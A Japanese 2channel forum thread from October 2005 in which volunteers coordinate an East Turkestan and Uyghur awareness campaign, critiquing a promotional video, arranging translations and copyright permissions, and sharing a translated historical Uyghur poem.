jahula(民族衣装の女の子の撮影者)、don_narayan(ハングル版の弟をおぶった女の子)の2人と、
東トルキスタン情報センターの著作権表示を加えてください。

390 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 23:52:07 ID:yvzocwgY0
返事出しておいた。

389の文わかりにくいかな、
シンボル的存在の女の子:まとめサイト、宣伝用画像に使われている黄色い民族衣装を着たかわいい女の子。
転載元の画像の題名"kashgar moment"の撮影者がjahulaさんね。

Should I grant permission, which is highly probable
と言っているからかなり期待できる。

391 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 23:55:17 ID:O1fZqH7V0
乙です。
そして支援age!


392 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 00:00:41 ID:1YEk72v40
ちょww
http://blog.livedoor.jp/chuo1983/

393 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 00:19:52 ID:USkHPrhN0
すげえな。みんながんばってんだな

で遅くなったが報告。
以前、MI5、CIAなどにメール出した者だけど自動返信すらないw
あきらめずに何かにかこつけて送ってみる

394 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 00:55:37 ID:CzhiwTX60
>>379
>.ラビア・トフティーさん講演会

この人、今年のノーベル平和賞候補になった人だよ。
会場が大阪かよ、田舎住まいの俺には遠すぎる・・・・・
誰か行ったら報告キボン

395 :991@おぱーい2:2005/10/24(月) 01:07:46 ID:fl0sY1ea0
支援動画のサンプル版ですー
前回意見が出た辺りを修正してみました。
忙しくてなかなか時間が取れなかったおorz

また意見とかご指摘お願いしますです。

http://eastturkes.hp.infoseek.co.jp/

>>394
私は東京の方に行ってみようと思っています。

396 :394:2005/10/24(月) 01:08:37 ID:NNE1N6o20
ごめんラビア・カディールと間違えますた

397 :394:2005/10/24(月) 01:12:14 ID:NNE1N6o20
>>395
今から見るよ。

398 :fjell:2005/10/24(月) 01:12:22 ID:LL0QbilH0
>>394
のぉー。ノーベル平和賞候補はナディア・カディール女史なりよ。
もしかしてトフティーさんの娘さん? とか勝手な想像..
(東大に留学中、資料をとりに中国に一時帰国した際、中共に政治犯として逮捕)

なにしろ、最近東トル問題に開眼したばかりなんで。。
突っ込んだ割に、役立たずで申し訳ない。>> 394

トフティーさん関係のリンクです。
トフティーさんの復学を求める会
http://www.monomono.jp/tohti_j/


399 :fjell:2005/10/24(月) 01:13:35 ID:LL0QbilH0
↑アイタタ。カディール女史のお名前、間違えました。。。

400 :姫邑院優我 ◆k1MR66.666 :2005/10/24(月) 01:14:46 ID:8+MWjKG50
   /\)\)\/\  
  /,/ ミ・∀・ミ \,\
 /へV''゙ノ∪ ノ⊃ "''Vへゝ 400get♪
 ←〜∪ ∪

401 :394:2005/10/24(月) 01:23:07 ID:iKLtGATC0
>>395
感動した、本当に。
映像の使い方が絶品だな、オープニングの遺跡と流れる茜雲と
悲しげなBGMはベストマッチだ、これはこのままで完璧じゃね?

ファイル名は「東トルキスタン問題」くらいにしたほうがいいと思う、
上のほうでもやり取りされてるけど「独立」を謳うと荒れる。
と、俺は思うんだけど、どうかな?

これの英語バージョンも欲しいよね。
すっげーGJであります!

402 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 01:29:43 ID:ZYTyDpHb0
>>395
萌え用の絵が入ってて、ちょっと笑ったw

403 :991@おぱーい2:2005/10/24(月) 01:34:47 ID:fl0sY1ea0
多ヶ国語版作りたいですね〜
アラビア語フォントと翻訳エンジンは1週前に紹介していただいていますが、そもそもの英訳が・・・orz

>>独立支援
あぁ、本編中には使わないように注意してたけど、ファイル名に使ってたとは・・
漏れダメ杉

>>萌え絵
自己主張は重要かと・・。(?

404 :394:2005/10/24(月) 01:34:49 ID:88nlMU4S0
>>395
英語バージョンできたら、各ウイグル団体に拡散しませんか?
ウイグルの人たちはドイツでポスターを貼ったりしてるらしい。
このフラッシュは、かなりインパクトあるよ。

405 :394:2005/10/24(月) 01:52:49 ID:gAJ3Rs0x0
>>395
遅ればせながらリクエストです。
東トルキスタンは、中国の「新疆ウイグル自治区」であるということを
地図つきで、オープニングで説明すると、もっとわかりやすくなると思う。
字幕を読まない人には、東トが、どこにあるかわからないんじゃないかな。
最初に「東トは、ここ」ってのを地図つきで欲しいです。

406 :たらこ@まとめ2:2005/10/24(月) 01:53:10 ID:ACTCc0rI0
>403
GJ! このムービー,いいっすねー。
BGMが終わってからの説明セクションでもバックの国旗が動いていていいなと思った。
>アラビア語フォントと翻訳エンジンは1週前に紹介していただいていますが
ゴメ,それ私w

407 :991@おぱーい2:2005/10/24(月) 01:56:33 ID:fl0sY1ea0
>>394
>拡散
自分が作ったものでよければ、でも自分が作ったので良いのかなぁ(^^;

貴重なご意見有難うございます。
たしかに分かりやすく東トの位置を示す必要がありますね。
早速やりたいのですが、お仕事もあるので今日は寝ますノシ

408 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 01:59:44 ID:T4Ujq+4N0
>>407
おつかれっす。
おやすみなさい。

409 :K ◆SSLhGGij7c :2005/10/24(月) 01:59:52 ID:gnFuhImW0 ?#
>>395
すげぇぇぇぇ、AfterEffectsの人っすね。いい仕事してます・・・。

410 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 02:15:33 ID:vLn2GQ/I0
頂!


・・・眠。

411 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 02:15:50 ID:Bm3/AYen0
neruyo

412 :fjell:2005/10/24(月) 02:35:35 ID:LL0QbilH0
>>395
あー。乗り遅れた..
待ってました。ほんと、GJです。
胸に迫りますね。。



413 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 02:57:01 ID:7IBeLq/W0
>>395
萌え絵ワロス
出来はすばらしい。

本職の方ですか?

414 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 03:14:48 ID:lExhUIFTO
漏れはこのスレから参加してます
まだこの問題について細かい所が把握できていませんがきっちり把握できたら自分も携帯サイトを作ってみたいのだけど迷惑ですか?

415 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 03:37:09 ID:lExhUIFTO
なんか日本語おかしいなwww

416 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 05:22:42 ID:R66RCv540
もまいら、おはよう保守。

>>414
ようこそいらっしゃいました。
迷惑なんてトンデモナイ。宜しくお願いしますです。

417 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 07:35:30 ID:R66RCv540
保守

418 : ◆RXpf54Ttr6 :2005/10/24(月) 08:30:56 ID:h6n3mor80
>>395
すごいね、感動した。

でも、所々文字が流れちゃうのが早すぎて読み切れないの。
仕方ないのか?

419 :目覚ませ、ウイグル!:2005/10/24(月) 08:50:18 ID:bTHdtUs70
Hey, poor Uyghur, wake up, you have slept long enough,
You have nothing, what is now at stake is your very life.
If you don’t rescue yourself from this death,
Ah, your end will be looming, your end will be looming.

Stand up! I said, raise up your head, no more slumber,
Behead your enemy, spill his blood!
If you don’t open your eyes and look around,
The end of your frustrated existence is certain.

Already, your body looks lifeless,
Is that why you are indifferent to death?
You remain unmoved by my calls,
Do you want to perish this way, without coming to your senses?

Open your eyes wide, look around,
Think well about your future,
If you let this one chance escape,
Tomorrow will be nothing but sorrow, nothing but sorrow.

My heart pities you, o my Uyghur,
My companion, my brother, my relative,
With a burning soul, I am calling out to you,
But your are not hearing me, what is going on?

One day will come, and you will regret,
That day you will understand the reason of my calls.
You will say “alas!”, but it will be too late,
Then you will realize what Uyghur (the poet) meant.

420 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 09:01:22 ID:eoDE7Lip0
>>379
東京は蔵前か、歩いてでも行けるなww
現状の情報収集のためにもとりあえず参加だな
他に参加する予定の人いる?

421 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 09:18:25 ID:Md+AkfIx0
>>419
の作者;↓
 
アブドゥハリック.ウイグル(Abduxaliq Uyghur)は1901年東トルキスタンのトルファンで生また。
1933年に中国侵略者の(東トルキスタンにある役長)盛世才により、トルファン市民の目の前で、身体を剣で切りながら残酷に殺害された。
彼は中国語、アラビア語、ペルシャ語、ロシア語、トルコ語ができた。東トルキスタンを独立させるために<ウイグルよ、目覚ませ!>という歌を作って、トルファンにある全ての学校の学生をはじめ、国民に教え、反侵略者闘争に動員させようとした。
彼は有名な愛国主義、民主主義者の詩人であり、生きている間に300首の歌を作り、日記、思い出なども知られている。有名な歌は<目覚ませ、ウイグル>、<夏の夜>、<怒りと悲しみ>など。
彼は東トルキスタン国民の心に深く愛されています。

>>421にウイグル語の歌詞を書きます。
30行以上になるので、タイトルはここに。

Oyghan Uyghur 目覚めよ、ウイグル!
Abduxaliq Uyghur, 1921

422 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 09:18:53 ID:Md+AkfIx0
Ey peqir Uyghur, oyghan, uyqung yeter,
Sende mal yoq, emdi ketse jan keter.
Bu olumdin ozungni qutquzmisang,
Ah, sening haling xeter, haling xeter.

Qop! dedim, beshing kotur! uyqungni ach!
Reqipning bashini kes, qanini chach!
Koz echip etrapqa obdan baqmisang,
Olisen armanda, bir kun na'ilaj.

Helimu jansizgha ohshaydu tening,
Shunga yoqmu anche olumdin gheming.
Qichqarsam qimirlimayla yatisen,
Oyghanmay olmekchimu sen shu peting ?!

Kozungni yoghan echip etrapqa baq,
Oz iqbaling heqqide oyla uzaq.
Ketse qoldin bu ghenimet pursiti,
Kelechek ishing chataq, ishing chataq.

Echinar konglum sanga ey Uyghurum,
Sebdishim, qerindishim, bir tuqqunum.
Koyunup halinggha oyghatsam seni,
Anglimaysen zadi, neme bolghunung ?!

Kelidu bir kun pushayman qilisen,
Tektige gepning shu chaghda yetisen.
"Xep" deseng u chaghda ulgurmey qalur,
Shunda, Uyghur, sozige ten berisen.

423 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 09:23:58 ID:Md+AkfIx0
>>395
会社からなので音なしで見たw
すごいね。身体が震えるような感動を覚えたww
出てきた日本語の文章をここで出せば、きっとだれかが英訳してくれるw

424 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 10:13:46 ID:HUmqYKRM0
ddddddddddddddddddddddd!

425 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 10:29:38 ID:ac4xh6PB0
東トルキスタンに行きたい
どうすればいい?

426 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 10:53:45 ID:5XY1ojKe0
>>395
gj

427 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 11:24:16 ID:VeFeB1DA0
銀行行ってる暇ねーし、そろそろオンラインで使える手続きしなくちゃいかんなぁ

428 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 11:24:25 ID:bTHdtUs70
東トルキスタンに行くのは簡単。
往復チケットを買って、日本→北京(または西安、上海)へ。乗り帰ってウルムチへ。
ウルムチから(車、バスで)トルファンへ。
飛行機または観光列車でコルラ、クチャ、アクス、カシュガルへ。ヤルカンド、ホテンへ。


429 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 12:48:29 ID:jI1Ss+VC0
>>395 乙 GJ!
全体の構成は、OKだと思います。 三部構成になっていて、わかりやすい。

二部にあたる、三つのコメントをスクリーン配置を三段中央寄せにして、フォント選ぶと見やすくなります。
 
 ☆・・・・・・
 ☆・・・・・・
 ☆・・・・・・

 ↑ な感じはいかがですか?

クレジット部分は・・・・ウケたお〜w

おいらは、>>421-422 のお歌を イラレしてみようと思いますが、問い合わせないとまずいかな?



430 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 13:02:13 ID:Md+AkfIx0
>>429
これウイグル太郎さんが教えてくれた歌なんでたぶんOK。
著作権表示をどうしたら良いか確認してみましょうか?

あと、>>207-212
fjellさん&手伝ってくれそうな方に
翻訳のお願いきました。急ぎではないので、時間があればお願いできますか?

こんばんは。
次は下記の文章を英語に翻訳していただければ幸いです。
http://www.uygur.org/japan/et/2005/0409.htm
文章に出てくるグルジャという町の名前ですが、英語では Ghulja と表示して欲
しいです。中国語で Yining, Yiliとか表しますが、元の言葉で正しく表示して欲
しいです。
Ghulja(日本語でグルジャ)
地名や不明な名詞を見つけたらメールにてご連絡頂ければと思います。


431 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 13:03:54 ID:vLn2GQ/I0
>>21本物なら魔法の粉出してみろよ

432 :431:2005/10/24(月) 13:04:26 ID:vLn2GQ/I0
すみません誤爆です。
頂!

433 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 13:20:19 ID:xrxGuDin0
題名「あずま・トルキスのテーマ」

トトトッ トトトッ トルキスたん!
トトトッ トトトトッ トルキスたん!
怒れ 鋼のビッパーズ すごい勢い 外れた箍
光り輝く○○○ ○○の希望 守るため
今こそ 立ち上がれ
人の心に幸せを 壊す○○○○せない
トトトッ トトトッ トルキスたん!
トトトッ トトトトッ トルキスたん!
ファイナルフュージョン承認だ!
今だ! ビッパー活躍だ!
○○○○! ディバイディング・ドライバー!
奇跡! 独立! 開放! 萌え! 誕生!
無敵の 脳内(の・う・な・い)守護神 ぼくらのトルキスたん!
トットットットッ トルキスたん!!

※スマン、いい歌詞がおもいうかばない

434 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 14:04:45 ID:7IBeLq/W0
>>433
その調子で曲つけてアカペラで歌ってこのスレにうっp汁!
すくなくともここにいる連中の心には伝わるはず。

435 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 14:39:24 ID:I5vK2+2i0
>>434
曲は勇者王ガオガイガーのテーマだろw
知らない?
http://gazo08.chbox.jp/roboani/src/1128761973943.wmv

436 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 15:13:07 ID:Jg/ogT6/0
>>395
GJ

437 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 16:10:50 ID:uocnwinp0
頂!

438 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 17:18:38 ID:xTEqHmAE0
あげますよ

439 :fjell:2005/10/24(月) 17:40:49 ID:U1Hc9H9y0
仕事中に、ふっと、>>395 のムービーの音楽を思いだしてしまい、泣きそうになりました。。
東トルキスタンに自由と平和を。。

440 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 18:21:58 ID:jVXEElaY0
頂!

441 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 18:53:12 ID:ad+c458N0
保守であります

442 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 18:54:12 ID:6vuwjsAW0
>>395
鳥肌立った

GJ!

443 :名も無き兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/24(月) 18:55:44 ID:n9scvjl80
ちょいと、質問。

俺さ、タイトルとかに「Save East Turkistan Project
(東トルキスタン保護計画)」って書いてあるけど、
まだ、今のところ「運動(Movement)」の範囲だよね?

組織的な「計画」なのか、個人の各々の「運動」なのか間違うと、
今後の展開で、大きく問題になるかと・・・

とりあえず、タイトルを「東トルキスタン救う運動
(Save East Turkistan Movement)」に修正します。

そういや、トルキスタンのつづりって、"Trukistan"?"Turkestan"?どっちだっけ?
正直、間違えると修正大変だから・・・orz


>>395
激しく乙!

前のムービーが元になってしまいますが、
要望と、意見があるので後ほど書きます。

444 :たらこ@まとめ2:2005/10/24(月) 19:08:46 ID:ACTCc0rI0
Turkistanでした。
http://uygur.fc2web.com/uygur.index.html

445 :たらこ@まとめ2:2005/10/24(月) 19:22:47 ID:ACTCc0rI0
>414
ようこそ。
迷惑なんてとんでもありません。時間があったらお願いします。
私が作った携帯用のサイトもありますが,
携帯用のコンテンツは不慣れなもので
飾りっ気のないページとなっております。
得意な人が得意な分野で行ければいいですね。

446 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 19:27:06 ID:h6n3mor80
>>157の返事
長いので分割します。


日本の皆さんのアドバイス(さらに良いwebサイトを作るための意見)には非常に感謝しております。
本当にその通りだと思う意見が多いです。
しかし、同時に我々は中国政府からデモクラティックなスピーチを禁止されていることもあるので、
いきなりアドバイス通りにはできないことをご理解下さい。

最初に、中国政府は我々の行動を見つけると、様々な方面から手を回して妨害してきます。
次に、海外での広報活動ですが安全を考慮しなければならず、
協力者や広報活動で身元や情報を全て公開することはできません。

447 : ◆RXpf54Ttr6 :2005/10/24(月) 19:28:13 ID:h6n3mor80
そして、我々の経済的な状況もあります。我々は国籍のないものも多く仕事をできない人間もいます。
それに逮捕される危険もあるのです。広報に関しての充実も難しいところです。
テロリスト扱いされて中国政府に身柄を拘束される人間もいるので、
彼らの保釈のためにお金を使うときもあります。

 webに関してですが、日本の人々の言うとおりにすることが理想です。
そのためには書き手としてのボランティアも不足しています。
我々の歴史、文化、そして我々の置かれている状況など。メールでは書ききれませんが、
まだまだできないことが沢山あります。

 私はまず、我々が自由と権利を勝ち取るためにベストを尽くしたいと思います。

Abdujelili Qaraqash


448 :spinel:2005/10/24(月) 19:42:46 ID:Md+AkfIx0
>>446
乙です。亡命政府の活動は金もかかるけど、やはり命懸けてやってるんですよね。
温室育ちの俺ら日本人には実感できないことなんだけど。
少しずつでも前進していくことを期待したいですな。

449 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 19:51:04 ID:Md+AkfIx0
ところで、◆RXpf54Ttr6さん、名も無き兵士@電網遊撃隊さんはじめ、常連の方々。
mixiにコミュがあるので、まだ入られていない方は是非きてください。

450 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 20:06:09 ID:jI1Ss+VC0
>>446
iいつも乙です、コンタクトがあることが何よりです。
アメリカあやEUの取り組みからも、日本は本当に恥ずかしいほど「遅れた国」と思えます。

う‘‘ぃっぱぁの おっぱいぱわぁで、ぶーんだお!(^・ω・^)ノ

451 :@携帯厨:2005/10/24(月) 20:16:13 ID:fjo76XzqO
保守

452 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 20:43:57 ID:5XY1ojKe0
ここって使えると思う?

ttp://blog.livedoor.jp/unic_tokyo/

453 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 21:18:16 ID:Kk/LeC41O
支援あげ

454 :991@おぱーい2:2005/10/24(月) 21:22:39 ID:ad+c458N0
職場からレスだけっ

>>413
本職じゃないです(^^
バイトと友人の関係でモーショングラフィックスやってたりするだけです。

>>418
文字数減らしているのですが、フェードするのが早い感じはどうしてもありますね。
音楽の長さの都合このあたりが限界かなと思ったりするんですが。
短い文に伝えたいことを凝縮するって大変です・・・。

>>429
すみません、何秒の当たりか教えてくれませんかorz
「三段中央寄」検討してみるお。

帰宅します ノシ

455 : ◆RXpf54Ttr6 :2005/10/24(月) 21:38:37 ID:h6n3mor80
mixiはやってないけど、そっちは動きがあるのかな?
討論が活発だといいね

991@おぱーい2さん
全体的に文字を読むのが追いつきませんでした。
年齢の問題なのか…

456 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 21:40:45 ID:jI1Ss+VC0
>>454
     1m22s〜         1m23s
 ふぇいどあうと、ふぇいどいん      この部分からです

寒くなってますぅ、暖かくして風邪引かないようにしおうね。(中央山岳地帯?近辺より

457 :電網遊撃隊員@勤務怠業中 ◆mmYBMTf0Vk :2005/10/24(月) 21:53:05 ID:TpjeqGrW0
>>454
仕事乙!
こちらの要望ですが、下記のタイトルテロップを3〜5秒程入れてほしいかなと。
今回の運動の象徴である「スカイブルーローズ」を是非を出したかった
というのがあったので。 (本編開始前に、無音で)

http://plasticdreams.tm.land.to/up/uploads/025.jpg (日本語タイトルテロップ案)
http://plasticdreams.tm.land.to/up/uploads/026.jpg (英語タイトルテロップ案)

細かい感想について、いちゃもんみたいになってしまいますが、どうかお許しを。

まず、全体的に、文字が薄い印象があって、もう少しはっきり出来ればよいかと。
[00:14]
>この事実、〜
>この事実は日本では伝えられていません。
[00:35]
前後にある、赤ん坊の画の前の子供たちの画は、一瞬しか映らないため
正直必要性を感じない。
[01:27]
>生まれてきた〜
「生まれてきた子供の数は恐ろしく少なく・・・」
>少子化〜
「少子化が叫ばれる日本と比べ1/10以下なのです。」
[01:30]
>ウイグル族が地上から〜
「ウイグル族が地上から消滅してしまうことに他なりません。」

すんません、どうかご検討よろしくお願いします。m(__)m

458 :電網遊撃隊員@勤務怠業中 ◆mmYBMTf0Vk :2005/10/24(月) 22:00:15 ID:TpjeqGrW0
某@wikiですが・・・正直、更新に手が回りません。
誰でもいいから、更新していただけると幸いなのですが・・・
トップページと倉庫以外は自由にして頂いて結構ですので・・・

あと、倉庫にあった画像は、うpローダーに上げときました。

>>449
mixiのIDもってないんでね・・・orz
それにSNS自体始めてなんで・・・不安がいっぱい。

459 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 22:06:53 ID:7IBeLq/W0
991@おぱーい2さん
これってなんていうソフトで作ってるんですか?

460 :電網遊撃隊員@勤務怠業中 ◆mmYBMTf0Vk :2005/10/24(月) 22:08:56 ID:TpjeqGrW0
連投すまそ・・・

東トルキスのY!IDですが・・・
個人的な理由で、通信環境が不安定なため、まとめサイト管理人の
どなたかにY!IDをゆずりたいのですが、無理ですかね・・・?

あと、広報活動について。思いつきなんですけど・・・
個人でネットラジオ配信とかやっている人って、どれくらいいるんだろう?
そこで、CMみたいに、啓蒙広告を配信できればなーとか思ったり・・・

正直、仕事が手いっぱいな状態なんで・・・ヘルプ連呼ですんません。orz

461 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 22:23:57 ID:qwVl9HJM0

今ムービー見ました。
凄く良かったです。感動!

トルキスタンについては最近まで知らなかったので、周りにも広めたいです。
皆さん頑張ってください。


462 :fjell:2005/10/24(月) 22:50:46 ID:LL0QbilH0
わー、今日は盛りだくさんですね。みなさま乙!!!

>>430 ご連絡ありがとうございますー。
グルジャの虐殺の件は、ウイグル-アメリカン協会のHuman Rights Project(UHRP)の
プレスリリースがあります。
http://www.uhrp.org/press_releases/ghulja_massacre
すでに英語なので、このテキストを流用してはダメかなぁ。。と思うなり

>>443 うーん。個人的には、プロジェクトでいいかなぁ、と思っています。
"Movement"は、微妙に政治色を感じる表現なので。。
Projectは、ニュートラルに扱える言葉なので、便利かなと。。




463 :fjell:2005/10/24(月) 23:02:58 ID:LL0QbilH0
>>446 実に...もう、なんというか...切ないですね。くそー。

>>458 捨てアドさらすと、もれなく誰かが招待してくれるはず。
かなり寄ってたかってw


464 :追伸&オヤスミなさい:2005/10/24(月) 23:03:57 ID:jI1Ss+VC0
我が家の意見では、音声(いしざかこうじみたいな)の入れて淡々と語らせれば、いいんじゃない?

と、いわれますた。声優さんとかいたらいいよね重くなるけど、説得力は完璧だろうと・・・そんな助言をされますた


465 :たらこ:2005/10/24(月) 23:05:41 ID:ACTCc0rI0
>458
mixiにお誘いしましょうか?
mixiを使いたい時はお声かけてくださいな

466 :電網遊撃隊員@勤務怠業中 ◆mmYBMTf0Vk :2005/10/24(月) 23:19:52 ID:TpjeqGrW0
>>fjell氏
そうですかー・・・
プロジェクトとなると、組織的な運動をイメージがあるので、
あちらの方にしてみましたが、政治的な色が少しでもにじむと
危ないですからね。風呂入った後に書き直しますよ。

>>たらこ氏
どもー、お言葉に甘えます。
さて、この活動用のメールアドレスは取得しているのですが・・・
さて何処に晒せばよろしいでしょうか?

痛い行動が多いかと思いますが、よろしくお願いします。

>>余談
そーいや、広報活動として、スクリーンセーバー作って配布するって
手もあった事を忘れていた・・・が、力がなくて俺には出来ないな。
フラッシュあたりを、スクリーンセーバ化して配布とか出来ないだろうか?

467 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 23:19:59 ID:8jIzFRd10
奇特な方がおられましたらよろしく

468 :電網遊撃隊員@勤務怠業中 ◆mmYBMTf0Vk :2005/10/24(月) 23:23:10 ID:TpjeqGrW0
>>464
そうですねー・・・声優ですか。
プロなら金かかるな、ネット声優や、中高で放送部やアナウンス部とか
やっていた人とかいればいいんだけどねぇ。誰かいねぇ?

469 :991@おぱーい2:2005/10/24(月) 23:35:05 ID:fl0sY1ea0
帰宅っと。

>>456
2~4秒長くしてみます〜。

>>457
早速いじってみますです。
細かく指定してくれて有難うございます。
タイトルテロップも入れますね〜

>>459
殆どAdobe社のAfterEffectsで行っています。
業界標準の強力なツールです。


470 :以下、名無しにかわりましてVIPがお送りします:2005/10/24(月) 23:36:18 ID:R66RCv540
mixiの話題は板違い。
ソーシャルネット板へ行った方が良いですよー

471 :fjell:2005/10/24(月) 23:39:49 ID:LL0QbilH0
>>470
そんなア ナ タの優しさがス テ キ...

メル欄注目ですよ、みなさま。

472 :たらこ:2005/10/24(月) 23:46:48 ID:ACTCc0rI0
>466
メ欄にメールください

>468
んー,友人に声を使った仕事がしたいという良い声してる子がいるんだが...。
でも,今回のとはイメージに合わない。
声優さんに喋らせるなら軟らかい感じ,暖かみのある声を持つ
男性がいいと思うけどどうでしょう。

473 :fjell:2005/10/24(月) 23:53:04 ID:LL0QbilH0
>>466 日本語だとムーブメント=ブームっぽいですからなぁ。
どうなんじゃろ(急激に弱気。。

>>468 渋い声のおじさま声優は、ギャラがお高いですよね..。
1時間で5〜6マソとか。ボラれたのかもだが。
どなたか美声の壮年男性求むー

474 :電網遊撃隊員@勤務怠業中 ◆mmYBMTf0Vk :2005/10/24(月) 23:55:14 ID:TpjeqGrW0
>>472
おくりますたよー

475 :467:2005/10/25(火) 00:15:31 ID:rUW6HdWb0
fjellさん、etfreedの中の人、どうもありがとう。
ただいま手続き中です。

476 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 00:29:30 ID:OYUg+bme0
盛り上がってますねw
みなさん乙です。

mixiコミュのほうも盛り上げていきたいですな。
>>455 ◆RXpf54Ttr6 さんもよければどうぞ。言ってくれればメール晒しますんで。

>>462
了解です。これ流用できるか聞いてみますね。

477 :fjell:2005/10/25(火) 00:40:52 ID:cVU2F8oX0
スレ違い、ご容赦!

すでに、ご覧になった方も多いと思いますが、
NHKのど自慢 中国大会予選に出場した、チベット族3姉妹の映像です。
ttp://www.geocities.co.jp/Hollywood-Cinema/7801/images/tib.mpg

ヒマラヤ〜で始まるエキゾチックな音楽の途中で、いきなり「共産党〜」で、わたしゃノケゾリましたよ。
NHKアナウンサーの冷静なコメントに涙が出るほど笑いつつ、
中国共産党に激しい怒りを感じた瞬間でもありました。

上記3姉妹とは別のグループですが、
「Xuelian シュエリェン−雪蓮」日本Debutだそうです。
http://www.newsentertainment.jp/artist/xuelian/
四川省アバ(ガワ)チベット族羌族自治州出身だそうです。

ウイグル女子25楽坊は。。。しつこくてスマソ

>>476 お願いいたします。ウイグル-アメリカ協会と東トル亡命政府と東トル情報Cは、
それぞれ相互リンクを貼っているので、ソースを共有しても問題ないかなぁと思うです。

478 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 00:41:15 ID:Gn8UqBP10
「東トルキスタン独立記念行事(東京)」に参加予定ですが、レポとかした方が良いのかな?
つうか漏れなんかが参加しても良いのかしらん?
思い切り浮きそうな悪寒。。。

479 :sage:2005/10/25(火) 00:48:55 ID:cVU2F8oX0
ぎゃ。>>477 ソース訂正です。
2005/05/16(月) 午前10時 NHK「明星を夢みて〜若者たちのチャイナドリーム」
中国版の、のど自慢...でした。NHKの、ではなく。

東トルと関連ないのでsage

480 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 00:49:22 ID:4d8aQYRj0
自分も「東トルキスタン独立記念行事(東京)」に、参加予定なのですが
プリントした「青いバラ」を首からさげる名札に入れようかと思ってます。

481 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 00:49:45 ID:cVU2F8oX0
てか、ageてるし...

482 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 00:51:03 ID:OYUg+bme0
>>477
共産党がきて苦しい生活が楽になった
うたわされてますねw

>>478
一応それなりの格好しておけばおkでしょw
俺も浮きそうだけど逝く予定。 ぶ〜んは間違ってもやらないように煽らないように。

483 :fjell:2005/10/25(火) 01:03:54 ID:cVU2F8oX0
>>477 NHKで放送されたプロパガンダ喜び組3姉妹と、「シュエリン」は
やっぱり同じ人たちなんじゃないのー、という声もありまする。
なにしろ、日本デビウがいきなりNHKの番組主題歌だとな。
寒流の次は下流だそうでw

東アの同じスレで、こんなの見つけました。関西地区の方、ご覧になりました?
---
601 名前:名無しさん@そうだ選挙に行こう[] 投稿日:2005/09/11(日) 15:07:59 ID:jotInG45
>>599
そういえば昨日関西で、ウィグル出身の女の子が北京の俳優学校に
入学して女優を目指すと言うドキュメント番組を関西テレビでやっていたけど、
中国のプロパガンダ番組にしか見えなかった。

「出身に関わりなく国立学校でも受け入れを行う私たち中国は偉大です。」
「私たち中国はウィグルを弾圧などしていませんよ。」
っと言わんばかりの番組だった。

女の子が里帰りした時は、「発展目覚しいウィグル」なんてナレーションも入ってたし。
この女の子、一生、中国の宣伝に使われ続けたりしそう。

番組詳細 ↓
KTV [プレスリリース]
http://www.ktv.co.jp/info/press/contents/050910.html
2005年9月10日(土)15:55〜16:55
〜中国の遥かな夢〜弟よ…私は泣かない!目指すは銀幕の大女優
「現代の中国」と「そこに生きる家族」をテーマに
女優を目指す一人の女性が世界に向かってひた向きに努力する姿を密着

484 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 01:04:35 ID:GJTPJ+Dz0
>>478
ぜひともレポおながいします!

485 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 01:25:16 ID:4d8aQYRj0
あげ そして寝

486 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 01:43:18 ID:8ZCIL/UEO
>>414です
携帯サイトは「まとめサイトさんをそのまま携帯で見れるようにした感じ」のサイトをとりあえず作ってみます
パソコンが使えない状況に置かれているので満足いかない内容になってしまいますが頑張ってみます

487 :以下、名無しにかわりましてVIPがお送りします:2005/10/25(火) 01:57:44 ID:Gn8UqBP10
共産党〜苦が楽に〜苦が楽に〜♪
ちょwwwおまwwwそれ逆wwwアリエナスwwwww

